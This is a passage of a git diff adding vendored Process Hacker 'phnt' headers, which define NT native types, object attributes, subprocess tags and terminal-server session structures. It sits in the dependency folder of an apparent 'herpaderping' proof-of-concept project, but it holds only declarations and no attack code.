+#ifndef _PHNT_NTDEF_H +#define _PHNT_NTDEF_H + +#ifndef _NTDEF_ +#define _NTDEF_ + +// This header file provides basic NT types not included in Win32. If you have included winnt.h +// (perhaps indirectly), you must use this file instead of ntdef.h. + +#ifndef NOTHING +#define NOTHING +#endif + +// Basic types + +typedef struct _QUAD +{ + union + { + __int64 UseThisFieldToCopy; + double DoNotUseThisField; + }; +} QUAD, *PQUAD; + +// This isn't in NT, but it's useful. +typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _QUAD_PTR +{ + ULONG_PTR DoNotUseThisField1; + ULONG_PTR DoNotUseThisField2; +} QUAD_PTR, *PQUAD_PTR; + +typedef ULONG LOGICAL; +typedef ULONG *PLOGICAL; + +typedef _Success_(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; + +// Cardinal types + +typedef char CCHAR; +typedef short CSHORT; +typedef ULONG CLONG; + +typedef CCHAR *PCCHAR; +typedef CSHORT *PCSHORT; +typedef CLONG *PCLONG; + +typedef PCSTR PCSZ; + +// Specific + +typedef UCHAR KIRQL, *PKIRQL; +typedef LONG KPRIORITY; +typedef USHORT RTL_ATOM, *PRTL_ATOM; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; + +// NT status macros + +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1) +#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2) +#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) + +#define NT_FACILITY_MASK 0xfff +#define NT_FACILITY_SHIFT 16 +#define NT_FACILITY(Status) ((((ULONG)(Status)) >> NT_FACILITY_SHIFT) & NT_FACILITY_MASK) + +#define NT_NTWIN32(Status) (NT_FACILITY(Status) == FACILITY_NTWIN32) +#define WIN32_FROM_NTSTATUS(Status) (((ULONG)(Status)) & 0xffff) + +// Functions + +#ifndef _WIN64 +#define FASTCALL __fastcall +#else +#define FASTCALL +#endif + +// Synchronization enumerations + +typedef enum _EVENT_TYPE +{ + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef enum _TIMER_TYPE +{ + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +typedef enum _WAIT_TYPE +{ + WaitAll, + WaitAny, + WaitNotification +} WAIT_TYPE; + +// Strings + +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + _Field_size_bytes_part_opt_(MaximumLength, Length) PCHAR Buffer; +} STRING, *PSTRING, ANSI_STRING, *PANSI_STRING, OEM_STRING, *POEM_STRING; + +typedef const STRING *PCSTRING; +typedef const ANSI_STRING *PCANSI_STRING; +typedef const OEM_STRING *PCOEM_STRING; + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + _Field_size_bytes_part_(MaximumLength, Length) PWCH Buffer; +} UNICODE_STRING, *PUNICODE_STRING; + +typedef const UNICODE_STRING *PCUNICODE_STRING; + +#define RTL_CONSTANT_STRING(s) { sizeof(s) - sizeof((s)[0]), sizeof(s), s } + +// Balanced tree node + +#define RTL_BALANCED_NODE_RESERVED_PARENT_MASK 3 + +typedef struct _RTL_BALANCED_NODE +{ + union + { + struct _RTL_BALANCED_NODE *Children[2]; + struct + { + struct _RTL_BALANCED_NODE *Left; + struct _RTL_BALANCED_NODE *Right; + }; + }; + union + { + UCHAR Red : 1; + UCHAR Balance : 2; + ULONG_PTR ParentValue; + }; +} RTL_BALANCED_NODE, *PRTL_BALANCED_NODE; + +#define RTL_BALANCED_NODE_GET_PARENT_POINTER(Node) \ + ((PRTL_BALANCED_NODE)((Node)->ParentValue & ~RTL_BALANCED_NODE_RESERVED_PARENT_MASK)) + +// Portability + +typedef struct _SINGLE_LIST_ENTRY32 +{ + ULONG Next; +} SINGLE_LIST_ENTRY32, *PSINGLE_LIST_ENTRY32; + +typedef struct _STRING32 +{ + USHORT Length; + USHORT MaximumLength; + ULONG Buffer; +} STRING32, *PSTRING32; + +typedef STRING32 UNICODE_STRING32, *PUNICODE_STRING32; +typedef STRING32 ANSI_STRING32, *PANSI_STRING32; + +typedef struct _STRING64 +{ + USHORT Length; + USHORT MaximumLength; + ULONGLONG Buffer; +} STRING64, *PSTRING64; + +typedef STRING64 UNICODE_STRING64, *PUNICODE_STRING64; +typedef STRING64 ANSI_STRING64, *PANSI_STRING64; + +// Object attributes + +#define OBJ_INHERIT 0x00000002 +#define OBJ_PERMANENT 0x00000010 +#define OBJ_EXCLUSIVE 0x00000020 +#define OBJ_CASE_INSENSITIVE 0x00000040 +#define OBJ_OPENIF 0x00000080 +#define OBJ_OPENLINK 0x00000100 +#define OBJ_KERNEL_HANDLE 0x00000200 +#define OBJ_FORCE_ACCESS_CHECK 0x00000400 +#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP 0x00000800 +#define OBJ_DONT_REPARSE 0x00001000 +#define OBJ_VALID_ATTRIBUTES 0x00001ff2 + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR; + PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE +} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; + +typedef const OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES; + +#define InitializeObjectAttributes(p, n, a, r, s) { \ + (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + +#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) { sizeof(OBJECT_ATTRIBUTES), NULL, n, a, NULL, NULL } +#define RTL_INIT_OBJECT_ATTRIBUTES(n, a) RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) + +#define OBJ_NAME_PATH_SEPARATOR ((WCHAR)L'\\') + +// Portability + +typedef struct _OBJECT_ATTRIBUTES64 +{ + ULONG Length; + ULONG64 RootDirectory; + ULONG64 ObjectName; + ULONG Attributes; + ULONG64 SecurityDescriptor; + ULONG64 SecurityQualityOfService; +} OBJECT_ATTRIBUTES64, *POBJECT_ATTRIBUTES64; + +typedef const OBJECT_ATTRIBUTES64 *PCOBJECT_ATTRIBUTES64; + +typedef struct _OBJECT_ATTRIBUTES32 +{ + ULONG Length; + ULONG RootDirectory; + ULONG ObjectName; + ULONG Attributes; + ULONG SecurityDescriptor; + ULONG SecurityQualityOfService; +} OBJECT_ATTRIBUTES32, *POBJECT_ATTRIBUTES32; + +typedef const OBJECT_ATTRIBUTES32 *PCOBJECT_ATTRIBUTES32; + +// Product types + +typedef enum _NT_PRODUCT_TYPE +{ + NtProductWinNt = 1, + NtProductLanManNt, + NtProductServer +} NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE; + +typedef enum _SUITE_TYPE +{ + SmallBusiness, + Enterprise, + BackOffice, + CommunicationServer, + TerminalServer, + SmallBusinessRestricted, + EmbeddedNT, + DataCenter, + SingleUserTS, + Personal, + Blade, + EmbeddedRestricted, + SecurityAppliance, + StorageServer, + ComputeServer, + WHServer, + PhoneNT, + MaxSuiteType +} SUITE_TYPE; + +// Specific + +typedef struct _CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef struct _CLIENT_ID32 +{ + ULONG UniqueProcess; + ULONG UniqueThread; +} CLIENT_ID32, *PCLIENT_ID32; + +typedef struct _CLIENT_ID64 +{ + ULONGLONG UniqueProcess; + ULONGLONG UniqueThread; +} CLIENT_ID64, *PCLIENT_ID64; + +#include + +typedef struct _KSYSTEM_TIME +{ + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, *PKSYSTEM_TIME; + +#include + +#endif + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/phnt_windows.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/phnt_windows.h new file mode 100644 index 00000000..1772b9f7 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/phnt_windows.h @@ -0,0 +1,83 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _PHNT_WINDOWS_H +#define _PHNT_WINDOWS_H + +// This header file provides access to Win32, plus NTSTATUS values and some access mask values. + +#ifndef CINTERFACE +#define CINTERFACE +#endif + +#ifndef COBJMACROS +#define COBJMACROS +#endif + +#ifndef INITGUID +#define INITGUID +#endif + +#ifndef WIN32_LEAN_AND_MEAN +#define WIN32_LEAN_AND_MEAN +#endif + +#ifndef WIN32_NO_STATUS +#define WIN32_NO_STATUS +#endif + +#include +#include +#undef WIN32_NO_STATUS +#include +#include + +typedef double DOUBLE; +typedef GUID *PGUID; + +// Desktop access rights +#define DESKTOP_ALL_ACCESS \ + (DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | \ + DESKTOP_HOOKCONTROL | DESKTOP_JOURNALPLAYBACK | DESKTOP_JOURNALRECORD | \ + DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS | \ + STANDARD_RIGHTS_REQUIRED) +#define DESKTOP_GENERIC_READ \ + (DESKTOP_ENUMERATE | DESKTOP_READOBJECTS | STANDARD_RIGHTS_READ) +#define DESKTOP_GENERIC_WRITE \ + (DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_HOOKCONTROL | \ + DESKTOP_JOURNALPLAYBACK | DESKTOP_JOURNALRECORD | DESKTOP_WRITEOBJECTS | \ + STANDARD_RIGHTS_WRITE) +#define DESKTOP_GENERIC_EXECUTE \ + (DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_EXECUTE) + +// Window station access rights +#define WINSTA_GENERIC_READ \ + (WINSTA_ENUMDESKTOPS | WINSTA_ENUMERATE | WINSTA_READATTRIBUTES | \ + WINSTA_READSCREEN | STANDARD_RIGHTS_READ) +#define WINSTA_GENERIC_WRITE \ + (WINSTA_ACCESSCLIPBOARD | WINSTA_CREATEDESKTOP | WINSTA_WRITEATTRIBUTES | \ + STANDARD_RIGHTS_WRITE) +#define WINSTA_GENERIC_EXECUTE \ + (WINSTA_ACCESSGLOBALATOMS | WINSTA_EXITWINDOWS | STANDARD_RIGHTS_EXECUTE) + +// WMI access rights +#define WMIGUID_GENERIC_READ \ + (WMIGUID_QUERY | WMIGUID_NOTIFICATION | WMIGUID_READ_DESCRIPTION | \ + STANDARD_RIGHTS_READ) +#define WMIGUID_GENERIC_WRITE \ + (WMIGUID_SET | TRACELOG_CREATE_REALTIME | TRACELOG_CREATE_ONDISK | \ + STANDARD_RIGHTS_WRITE) +#define WMIGUID_GENERIC_EXECUTE \ + (WMIGUID_EXECUTE | TRACELOG_GUID_ENABLE | TRACELOG_LOG_EVENT | \ + TRACELOG_ACCESS_REALTIME | TRACELOG_REGISTER_GUIDS | \ + STANDARD_RIGHTS_EXECUTE) + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/subprocesstag.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/subprocesstag.h new file mode 100644 index 00000000..7d454e5d --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/subprocesstag.h @@ -0,0 +1,107 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _SUBPROCESSTAG_H +#define _SUBPROCESSTAG_H + +// Subprocess tag information + +typedef enum _TAG_INFO_LEVEL +{ + eTagInfoLevelNameFromTag = 1, // TAG_INFO_NAME_FROM_TAG + eTagInfoLevelNamesReferencingModule, // TAG_INFO_NAMES_REFERENCING_MODULE + eTagInfoLevelNameTagMapping, // TAG_INFO_NAME_TAG_MAPPING + eTagInfoLevelMax +} TAG_INFO_LEVEL; + +typedef enum _TAG_TYPE +{ + eTagTypeService = 1, + eTagTypeMax +} TAG_TYPE; + +typedef struct _TAG_INFO_NAME_FROM_TAG_IN_PARAMS +{ + DWORD dwPid; + DWORD dwTag; +} TAG_INFO_NAME_FROM_TAG_IN_PARAMS, *PTAG_INFO_NAME_FROM_TAG_IN_PARAMS; + +typedef struct _TAG_INFO_NAME_FROM_TAG_OUT_PARAMS +{ + DWORD eTagType; + LPWSTR pszName; +} TAG_INFO_NAME_FROM_TAG_OUT_PARAMS, *PTAG_INFO_NAME_FROM_TAG_OUT_PARAMS; + +typedef struct _TAG_INFO_NAME_FROM_TAG +{ + TAG_INFO_NAME_FROM_TAG_IN_PARAMS InParams; + TAG_INFO_NAME_FROM_TAG_OUT_PARAMS OutParams; +} TAG_INFO_NAME_FROM_TAG, *PTAG_INFO_NAME_FROM_TAG; + +typedef struct _TAG_INFO_NAMES_REFERENCING_MODULE_IN_PARAMS +{ + DWORD dwPid; + LPWSTR pszModule; +} TAG_INFO_NAMES_REFERENCING_MODULE_IN_PARAMS, *PTAG_INFO_NAMES_REFERENCING_MODULE_IN_PARAMS; + +typedef struct _TAG_INFO_NAMES_REFERENCING_MODULE_OUT_PARAMS +{ + DWORD eTagType; + LPWSTR pmszNames; +} TAG_INFO_NAMES_REFERENCING_MODULE_OUT_PARAMS, *PTAG_INFO_NAMES_REFERENCING_MODULE_OUT_PARAMS; + +typedef struct _TAG_INFO_NAMES_REFERENCING_MODULE +{ + TAG_INFO_NAMES_REFERENCING_MODULE_IN_PARAMS InParams; + TAG_INFO_NAMES_REFERENCING_MODULE_OUT_PARAMS OutParams; +} TAG_INFO_NAMES_REFERENCING_MODULE, *PTAG_INFO_NAMES_REFERENCING_MODULE; + +typedef struct _TAG_INFO_NAME_TAG_MAPPING_IN_PARAMS +{ + DWORD dwPid; +} TAG_INFO_NAME_TAG_MAPPING_IN_PARAMS, *PTAG_INFO_NAME_TAG_MAPPING_IN_PARAMS; + +typedef struct _TAG_INFO_NAME_TAG_MAPPING_ELEMENT +{ + DWORD eTagType; + DWORD dwTag; + LPWSTR pszName; + LPWSTR pszGroupName; +} TAG_INFO_NAME_TAG_MAPPING_ELEMENT, *PTAG_INFO_NAME_TAG_MAPPING_ELEMENT; + +typedef struct _TAG_INFO_NAME_TAG_MAPPING_OUT_PARAMS +{ + DWORD cElements; + PTAG_INFO_NAME_TAG_MAPPING_ELEMENT pNameTagMappingElements; +} TAG_INFO_NAME_TAG_MAPPING_OUT_PARAMS, *PTAG_INFO_NAME_TAG_MAPPING_OUT_PARAMS; + +typedef struct _TAG_INFO_NAME_TAG_MAPPING +{ + TAG_INFO_NAME_TAG_MAPPING_IN_PARAMS InParams; + PTAG_INFO_NAME_TAG_MAPPING_OUT_PARAMS pOutParams; +} TAG_INFO_NAME_TAG_MAPPING, *PTAG_INFO_NAME_TAG_MAPPING; + +_Must_inspect_result_ +DWORD +WINAPI +I_QueryTagInformation( + _In_opt_ LPCWSTR pszMachineName, + _In_ TAG_INFO_LEVEL eInfoLevel, + _Inout_ PVOID pTagInfo + ); + +typedef DWORD (WINAPI *PQUERY_TAG_INFORMATION)( + _In_opt_ LPCWSTR pszMachineName, + _In_ TAG_INFO_LEVEL eInfoLevel, + _Inout_ PVOID pTagInfo + ); + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/winsta.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/winsta.h new file mode 100644 index 00000000..3297b980 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/winsta.h @@ -0,0 +1,1069 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _WINSTA_H +#define _WINSTA_H + +// Access rights + +#define WINSTATION_QUERY 0x00000001 // WinStationQueryInformation +#define WINSTATION_SET 0x00000002 // WinStationSetInformation +#define WINSTATION_RESET 0x00000004 // WinStationReset +#define WINSTATION_VIRTUAL 0x00000008 //read/write direct data +#define WINSTATION_SHADOW 0x00000010 // WinStationShadow +#define WINSTATION_LOGON 0x00000020 // logon to WinStation +#define WINSTATION_LOGOFF 0x00000040 // WinStationLogoff +#define WINSTATION_MSG 0x00000080 // WinStationMsg +#define WINSTATION_CONNECT 0x00000100 // WinStationConnect +#define WINSTATION_DISCONNECT 0x00000200 // WinStationDisconnect +#define WINSTATION_GUEST_ACCESS WINSTATION_LOGON + +#define WINSTATION_CURRENT_GUEST_ACCESS (WINSTATION_VIRTUAL | WINSTATION_LOGOFF) +#define WINSTATION_USER_ACCESS (WINSTATION_GUEST_ACCESS | WINSTATION_QUERY | WINSTATION_CONNECT) +#define WINSTATION_CURRENT_USER_ACCESS \ + (WINSTATION_SET | WINSTATION_RESET | WINSTATION_VIRTUAL | \ + WINSTATION_LOGOFF | WINSTATION_DISCONNECT) +#define WINSTATION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | WINSTATION_QUERY | \ + WINSTATION_SET | WINSTATION_RESET | WINSTATION_VIRTUAL | \ + WINSTATION_SHADOW | WINSTATION_LOGON | WINSTATION_MSG | \ + WINSTATION_CONNECT | WINSTATION_DISCONNECT) + +#define WDPREFIX_LENGTH 12 +#define CALLBACK_LENGTH 50 +#define DLLNAME_LENGTH 32 +#define CDNAME_LENGTH 32 +#define WDNAME_LENGTH 32 +#define PDNAME_LENGTH 32 +#define DEVICENAME_LENGTH 128 +#define MODEMNAME_LENGTH DEVICENAME_LENGTH +#define STACK_ADDRESS_LENGTH 128 +#define MAX_BR_NAME 65 +#define DIRECTORY_LENGTH 256 +#define INITIALPROGRAM_LENGTH 256 +#define USERNAME_LENGTH 20 +#define DOMAIN_LENGTH 17 +#define PASSWORD_LENGTH 14 +#define NASISPECIFICNAME_LENGTH 14 +#define NASIUSERNAME_LENGTH 47 +#define NASIPASSWORD_LENGTH 24 +#define NASISESSIONNAME_LENGTH 16 +#define NASIFILESERVER_LENGTH 47 + +#define CLIENTDATANAME_LENGTH 7 +#define CLIENTNAME_LENGTH 20 +#define CLIENTADDRESS_LENGTH 30 +#define IMEFILENAME_LENGTH 32 +#define DIRECTORY_LENGTH 256 +#define CLIENTLICENSE_LENGTH 32 +#define CLIENTMODEM_LENGTH 40 +#define CLIENT_PRODUCT_ID_LENGTH 32 +#define MAX_COUNTER_EXTENSIONS 2 +#define WINSTATIONNAME_LENGTH 32 + +#define TERMSRV_TOTAL_SESSIONS 1 +#define TERMSRV_DISC_SESSIONS 2 +#define TERMSRV_RECON_SESSIONS 3 +#define TERMSRV_CURRENT_ACTIVE_SESSIONS 4 +#define TERMSRV_CURRENT_DISC_SESSIONS 5 +#define TERMSRV_PENDING_SESSIONS 6 +#define TERMSRV_SUCC_TOTAL_LOGONS 7 +#define TERMSRV_SUCC_LOCAL_LOGONS 8 +#define TERMSRV_SUCC_REMOTE_LOGONS 9 +#define TERMSRV_SUCC_SESSION0_LOGONS 10 +#define TERMSRV_CURRENT_TERMINATING_SESSIONS 11 +#define TERMSRV_CURRENT_LOGGEDON_SESSIONS 12 + +typedef RTL_TIME_ZONE_INFORMATION TS_TIME_ZONE_INFORMATION, *PTS_TIME_ZONE_INFORMATION; + +typedef WCHAR WINSTATIONNAME[WINSTATIONNAME_LENGTH + 1]; + +// Variable length data descriptor (not needed) +typedef struct _VARDATA_WIRE +{ + USHORT Size; + USHORT Offset; +} VARDATA_WIRE, *PVARDATA_WIRE; + +typedef enum _WINSTATIONSTATECLASS +{ + State_Active = 0, + State_Connected = 1, + State_ConnectQuery = 2, + State_Shadow = 3, + State_Disconnected = 4, + State_Idle = 5, + State_Listen = 6, + State_Reset = 7, + State_Down = 8, + State_Init = 9 +} WINSTATIONSTATECLASS; + +typedef struct _SESSIONIDW +{ + union + { + ULONG SessionId; + ULONG LogonId; + }; + WINSTATIONNAME WinStationName; + WINSTATIONSTATECLASS State; +} SESSIONIDW, *PSESSIONIDW; + +// private +typedef enum _WINSTATIONINFOCLASS +{ + WinStationCreateData, // WINSTATIONCREATE + WinStationConfiguration, // WINSTACONFIGWIRE + USERCONFIG + WinStationPdParams, // PDPARAMS + WinStationWd, // WDCONFIG + WinStationPd, // PDCONFIG2 + PDPARAMS + WinStationPrinter, // Not supported. + WinStationClient, // WINSTATIONCLIENT + WinStationModules, + WinStationInformation, // WINSTATIONINFORMATION + WinStationTrace, + WinStationBeep, + WinStationEncryptionOff, + WinStationEncryptionPerm, + WinStationNtSecurity, + WinStationUserToken, // WINSTATIONUSERTOKEN + WinStationUnused1, + WinStationVideoData, // WINSTATIONVIDEODATA + WinStationInitialProgram, + WinStationCd, // CDCONFIG + WinStationSystemTrace, + WinStationVirtualData, + WinStationClientData, // WINSTATIONCLIENTDATA + WinStationSecureDesktopEnter, + WinStationSecureDesktopExit, + WinStationLoadBalanceSessionTarget, // ULONG + WinStationLoadIndicator, // WINSTATIONLOADINDICATORDATA + WinStationShadowInfo, // WINSTATIONSHADOW + WinStationDigProductId, // WINSTATIONPRODID + WinStationLockedState, // BOOL + WinStationRemoteAddress, // WINSTATIONREMOTEADDRESS + WinStationIdleTime, // ULONG + WinStationLastReconnectType, // ULONG + WinStationDisallowAutoReconnect, // BOOLEAN + WinStationMprNotifyInfo, + WinStationExecSrvSystemPipe, + WinStationSmartCardAutoLogon, + WinStationIsAdminLoggedOn, + WinStationReconnectedFromId, // ULONG + WinStationEffectsPolicy, // ULONG + WinStationType, // ULONG + WinStationInformationEx, // WINSTATIONINFORMATIONEX + WinStationValidationInfo +} WINSTATIONINFOCLASS; + +// Retrieves general information on the type of terminal server session (protocol) to which the session belongs. +typedef struct _WINSTATIONCREATE +{ + ULONG fEnableWinStation : 1; + ULONG MaxInstanceCount; +} WINSTATIONCREATE, *PWINSTATIONCREATE; + +typedef struct _WINSTACONFIGWIRE +{ + WCHAR Comment[61]; // The WinStation descriptive comment. + CHAR OEMId[4]; // Value identifying the OEM implementor of the TermService Listener to which this session (WinStation) belongs. This can be any value defined by the implementer (OEM) of the listener. + VARDATA_WIRE UserConfig; // VARDATA_WIRE structure defining the size and offset of the variable-length user configuration data succeeding it. + VARDATA_WIRE NewFields; // VARDATA_WIRE structure defining the size and offset of the variable-length new data succeeding it. This field is not used and is a placeholder for any new data, if and when added. +} WINSTACONFIGWIRE, *PWINSTACONFIGWIRE; + +typedef enum _CALLBACKCLASS +{ + Callback_Disable, + Callback_Roving, + Callback_Fixed +} CALLBACKCLASS; + +// The SHADOWCLASS enumeration is used to indicate the shadow-related settings for a session running on a terminal server. +typedef enum _SHADOWCLASS +{ + Shadow_Disable, // Shadowing is disabled. + Shadow_EnableInputNotify, // Permission is asked first from the session being shadowed. The shadower is also permitted keyboard and mouse input. + Shadow_EnableInputNoNotify, // Permission is not asked first from the session being shadowed. The shadower is also permitted keyboard and mouse input. + Shadow_EnableNoInputNotify, // Permission is asked first from the session being shadowed. The shadower is not permitted keyboard and mouse input and MUST observe the shadowed session. + Shadow_EnableNoInputNoNotify // Permission is not asked first from the session being shadowed. The shadower is not permitted keyboard and mouse input and MUST observe the shadowed session. +} SHADOWCLASS; + +// For a specific terminal server session, the USERCONFIG structure indicates the user and session configuration. +// https://msdn.microsoft.com/en-us/library/cc248610.aspx +typedef struct _USERCONFIG +{ + ULONG fInheritAutoLogon : 1; + ULONG fInheritResetBroken : 1; + ULONG fInheritReconnectSame : 1; + ULONG fInheritInitialProgram : 1; + ULONG fInheritCallback : 1; + ULONG fInheritCallbackNumber : 1; + ULONG fInheritShadow : 1; + ULONG fInheritMaxSessionTime : 1; + ULONG fInheritMaxDisconnectionTime : 1; + ULONG fInheritMaxIdleTime : 1; + ULONG fInheritAutoClient : 1; + ULONG fInheritSecurity : 1; + ULONG fPromptForPassword : 1; + ULONG fResetBroken : 1; + ULONG fReconnectSame : 1; + ULONG fLogonDisabled : 1; + ULONG fWallPaperDisabled : 1; + ULONG fAutoClientDrives : 1; + ULONG fAutoClientLpts : 1; + ULONG fForceClientLptDef : 1; + ULONG fRequireEncryption : 1; + ULONG fDisableEncryption : 1; + ULONG fUnused1 : 1; + ULONG fHomeDirectoryMapRoot : 1; + ULONG fUseDefaultGina : 1; + ULONG fCursorBlinkDisabled : 1; + ULONG fPublishedApp : 1; + ULONG fHideTitleBar : 1; + ULONG fMaximize : 1; + ULONG fDisableCpm : 1; + ULONG fDisableCdm : 1; + ULONG fDisableCcm : 1; + ULONG fDisableLPT : 1; + ULONG fDisableClip : 1; + ULONG fDisableExe : 1; + ULONG fDisableCam : 1; + ULONG fDisableAutoReconnect : 1; + ULONG ColorDepth : 3; + ULONG fInheritColorDepth : 1; + ULONG fErrorInvalidProfile : 1; + ULONG fPasswordIsScPin : 1; + ULONG fDisablePNPRedir : 1; + WCHAR UserName[USERNAME_LENGTH + 1]; + WCHAR Domain[DOMAIN_LENGTH + 1]; + WCHAR Password[PASSWORD_LENGTH + 1]; + WCHAR WorkDirectory[DIRECTORY_LENGTH + 1]; + WCHAR InitialProgram[INITIALPROGRAM_LENGTH + 1]; + WCHAR CallbackNumber[CALLBACK_LENGTH + 1]; + CALLBACKCLASS Callback; + SHADOWCLASS Shadow; + ULONG MaxConnectionTime; + ULONG MaxDisconnectionTime; + ULONG MaxIdleTime; + ULONG KeyboardLayout; + BYTE MinEncryptionLevel; + WCHAR NWLogonServer[NASIFILESERVER_LENGTH + 1]; + WCHAR PublishedName[MAX_BR_NAME]; + WCHAR WFProfilePath[DIRECTORY_LENGTH + 1]; + WCHAR WFHomeDir[DIRECTORY_LENGTH + 1]; + WCHAR WFHomeDirDrive[4]; +} USERCONFIG, *PUSERCONFIG; + +typedef enum _SDCLASS +{ + SdNone = 0, + SdConsole, + SdNetwork, + SdAsync, + SdOemTransport +} SDCLASS; + +typedef WCHAR DEVICENAME[DEVICENAME_LENGTH + 1]; +typedef WCHAR MODEMNAME[MODEMNAME_LENGTH + 1]; +typedef WCHAR NASISPECIFICNAME[NASISPECIFICNAME_LENGTH + 1]; +typedef WCHAR NASIUSERNAME[NASIUSERNAME_LENGTH + 1]; +typedef WCHAR NASIPASSWORD[NASIPASSWORD_LENGTH + 1]; +typedef WCHAR NASISESIONNAME[NASISESSIONNAME_LENGTH + 1]; +typedef WCHAR NASIFILESERVER[NASIFILESERVER_LENGTH + 1]; +typedef WCHAR WDNAME[WDNAME_LENGTH + 1]; +typedef WCHAR WDPREFIX[WDPREFIX_LENGTH + 1]; +typedef WCHAR CDNAME[CDNAME_LENGTH + 1]; +typedef WCHAR DLLNAME[DLLNAME_LENGTH + 1]; +typedef WCHAR PDNAME[PDNAME_LENGTH + 1]; + +typedef struct _NETWORKCONFIG +{ + LONG LanAdapter; + DEVICENAME NetworkName; + ULONG Flags; +} NETWORKCONFIG, *PNETWORKCONFIG; + +typedef enum _FLOWCONTROLCLASS +{ + FlowControl_None, + FlowControl_Hardware, + FlowControl_Software +} FLOWCONTROLCLASS; + +typedef enum _RECEIVEFLOWCONTROLCLASS +{ + ReceiveFlowControl_None, + ReceiveFlowControl_RTS, + ReceiveFlowControl_DTR, +} RECEIVEFLOWCONTROLCLASS; + +typedef enum _TRANSMITFLOWCONTROLCLASS +{ + TransmitFlowControl_None, + TransmitFlowControl_CTS, + TransmitFlowControl_DSR, +} TRANSMITFLOWCONTROLCLASS; + +typedef enum _ASYNCCONNECTCLASS +{ + Connect_CTS, + Connect_DSR, + Connect_RI, + Connect_DCD, + Connect_FirstChar, + Connect_Perm, +} ASYNCCONNECTCLASS; + +typedef struct _FLOWCONTROLCONFIG +{ + ULONG fEnableSoftwareTx : 1; + ULONG fEnableSoftwareRx : 1; + ULONG fEnableDTR : 1; + ULONG fEnableRTS : 1; + CHAR XonChar; + CHAR XoffChar; + FLOWCONTROLCLASS Type; + RECEIVEFLOWCONTROLCLASS HardwareReceive; + TRANSMITFLOWCONTROLCLASS HardwareTransmit; +} FLOWCONTROLCONFIG, *PFLOWCONTROLCONFIG; + +typedef struct _CONNECTCONFIG +{ + ASYNCCONNECTCLASS Type; + ULONG fEnableBreakDisconnect : 1; +} CONNECTCONFIG, *PCONNECTCONFIG; + +typedef struct _ASYNCCONFIG +{ + DEVICENAME DeviceName; + MODEMNAME ModemName; + ULONG BaudRate; + ULONG Parity; + ULONG StopBits; + ULONG ByteSize; + ULONG fEnableDsrSensitivity : 1; + ULONG fConnectionDriver : 1; + FLOWCONTROLCONFIG FlowControl; + CONNECTCONFIG Connect; +} ASYNCCONFIG, *PASYNCCONFIG; + +typedef struct _NASICONFIG +{ + NASISPECIFICNAME SpecificName; + NASIUSERNAME UserName; + NASIPASSWORD PassWord; + NASISESIONNAME SessionName; + NASIFILESERVER FileServer; + BOOLEAN GlobalSession; +} NASICONFIG, *PNASICONFIG; + +typedef struct _OEMTDCONFIG +{ + LONG Adapter; + DEVICENAME DeviceName; + ULONG Flags; +} OEMTDCONFIG, *POEMTDCONFIG; + +// Retrieves transport protocol driver parameters. +typedef struct _PDPARAMS 